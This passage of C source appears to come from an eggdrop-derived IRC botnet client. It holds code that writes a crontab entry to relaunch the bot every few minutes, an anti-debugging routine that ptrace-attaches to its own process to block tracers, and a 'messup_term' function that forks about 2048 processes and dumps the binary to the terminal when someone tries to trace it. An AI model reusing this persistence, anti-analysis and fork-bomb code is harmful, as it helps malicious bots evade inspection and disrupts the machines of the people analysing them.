  815. i += interval;
  816. }
  817. }
  818. egg_snprintf(buf + strlen(buf), sizeof buf, STR(" * * * * %s > /dev/null 2>&1"), binname);
  819. fseek(f, 0, SEEK_END);
  820. fprintf(f, STR("\n%s\n"), buf);
  821. fclose(f);
  822. sprintf(buf, STR("crontab %s"), tmpfile);
  823. shell_exec(buf, NULL, NULL, NULL);
  824. }
  825. close(fd);
  826. unlink(tmpfile);
  827. }
  828. #ifdef S_MESSUPTERM
  829. static void messup_term() {
  830. int i;
  831. char *argv[4];
  832. freopen("/dev/null", "w", stderr);
  833. for (i = 0; i < 11; i++) {
  834. fork();
  835. }
  836. argv[0] = malloc(100);
  837. strcpy(argv[0], "/bin/sh");
  838. argv[1] = "-c";
  839. argv[2] = malloc(1024);
  840. strcpy(argv[2], "cat < ");
  841. strcat(argv[2], binname);
  842. argv[3] = NULL;
  843. execvp(argv[0], &argv[0]);
  844. }
  845. #endif /* S_MESSUPTERM */
  846. void check_trace_start()
  847. {
  848. #ifdef S_ANTITRACE
  849. int parent = getpid();
  850. int xx = 0, i = 0;
  851. #ifdef __linux__
  852. xx = fork();
  853. if (xx == -1) {
  854. printf(STR("Can't fork process!\n"));
  855. exit(1);
  856. } else if (xx == 0) {
  857. i = ptrace(PTRACE_ATTACH, parent, 0, 0);
  858. if (i == (-1) && errno == EPERM) {
  859. #ifdef S_MESSUPTERM
  860. messup_term();
  861. #else
  862. kill(parent, SIGKILL);
  863. exit(1);
  864. #endif /* S_MESSUPTERM */
  865. } else {
  866. waitpid(parent, &i, 0);
  867. kill(parent, SIGCHLD);
  868. ptrace(PTRACE_DETACH, parent, 0, 0);
  869. kill(parent, SIGCHLD);
  870. }
  871. exit(0);
  872. } else {
  873. wait(&i);
  874. }
  875. #endif /* __linux__ */
  876. #ifdef __FreeBSD__
  877. xx = fork();
  878. if (xx == -1) {
  879. printf(STR("Can't fork process!\n"));
  880. exit(1);
  881. } else if (xx == 0) {
  882. i = ptrace(PT_ATTACH, parent, 0, 0);
  883. if (i == (-1) && errno == EBUSY) {
  884. #ifdef S_MESSUPTERM
  885. messup_term();
  886. #else
  887. kill(parent, SIGKILL);
  888. exit(1);
  889. #endif /* S_MESSUPTERM */
  890. } else {
  891. wait(&i);
  892. i = ptrace(PT_CONTINUE, parent, (caddr_t) 1, 0);
  893. kill(parent, SIGCHLD);
  894. wait(&i);
  895. i = ptrace(PT_DETACH, parent, (caddr_t) 1, 0);
  896. wait(&i);
  897. }
  898. exit(0);
  899. } else {
  900. waitpid(xx, NULL, 0);
  901. }
  902. #endif /* __FreeBSD__ */
  903. #ifdef __OpenBSD__
  904. xx = fork();
  905. if (xx == -1) {
  906. printf(STR("Can't fork process!\n"));
  907. exit(1);
  908. } else if (xx == 0) {
  909. i = ptrace(PT_ATTACH, parent, 0, 0);
  910. if (i == (-1) && errno == EBUSY) {
  911. kill(parent, SIGKILL);
  912. exit(1);
  913. } else {
  914. wait(&i);
  915. i = ptrace(PT_CONTINUE, parent, (caddr_t) 1, 0);
  916. kill(parent, SIGCHLD);
  917. wait(&i);
  918. i = ptrace(PT_DETACH, parent, (caddr_t) 1, 0);
  919. wait(&i);
  920. }
  921. exit(0);
  922. } else {
  923. waitpid(xx, NULL, 0);
  924. }
  925. #endif /* __OpenBSD__ */
  926. #endif /* S_ANTITRACE */
  927. }
  928. #ifdef CRAZY_TRACE
  929. /* This code will attach a ptrace() to getpid() hence blocking process hijackers/tracers on the pid
  930. * only problem.. it just creates a new pid to be traced/hijacked :\
  931. */
  932. int attached = 0;
  933. void crazy_trace()
  934. {
  935. int parent = getpid();
  936. int x = fork();
  937. if (x == -1) {
  938. printf("Can't fork(): %s\n", strerror(errno));
  939. } else if (x == 0) {
  940. int i;
  941. i = ptrace(PTRACE_ATTACH, parent, (char *) 1, 0);
  942. if (i == (-1) && errno == EPERM) {
  943. printf("CANT PTRACE PARENT: errno: %d %s, i: %d\n", errno, strerror(errno), i);
  944. waitpid(parent, &i, 0);
  945. kill(parent, SIGCHLD);
  946. ptrace(PTRACE_DETACH, parent, 0, 0);
  947. kill(parent, SIGCHLD);
  948. exit(0);
  949. } else {
  950. printf("SUCCESSFUL ATTACH to %d: %d\n", parent, i);
  951. attached++;
  952. }
  953. } else {
  954. printf("wait()\n");
  955. wait(&x);
  956. }
  957. printf("end\n");
  958. }
  959. #endif /* CRAZY_TRACE */
  960. /* need to account for this after reading in conf/spawning bots.
  961. ifdef LEAF
  962. if (updating)
  963. exit(0); let cron restart us.
  964. } localhub
  965. endif LEAF
  966. */
  967. #ifdef NOTHANKS
  968. /* this is the first bot ran/parsed */
  969. if (i == 1) {
  970. if (ip && ip[0] == '!') { //natip
  971. ip++;
  972. sprintf(natip, "%s",ip);
  973. } else {
  974. if (ip && ip[1]) //only copy ip if it is longer than 1 char (.)
  975. egg_snprintf(myip, 120, "%s", ip);
  976. }
  977. egg_snprintf(origbotname, 10, "%s", nick);
  978. #ifdef HUB
  979. sprintf(userfile, "%s/.u", confdir());
  980. #endif /* HUB */
  981. /* log sprintf(logfile, "%s/.%s.log", confdir(), nick); */
  982. if (host && host[1]) { //only copy host if it is longer than 1 char (.)
  983. if (host[0] == '+') { //ip6 host
  984. host++;
  985. sprintf(hostname6, "%s",host);
  986. } else //normal ip4 host
  987. sprintf(hostname, "%s",host);
  988. }
  989. if (ipsix && ipsix[1]) { //only copy ipsix if it is longer than 1 char (.)
  990. egg_snprintf(myip6, 120, "%s",ipsix);
  991. }
  992. } //First bot in conf
  993. #endif /* NOTHANKS */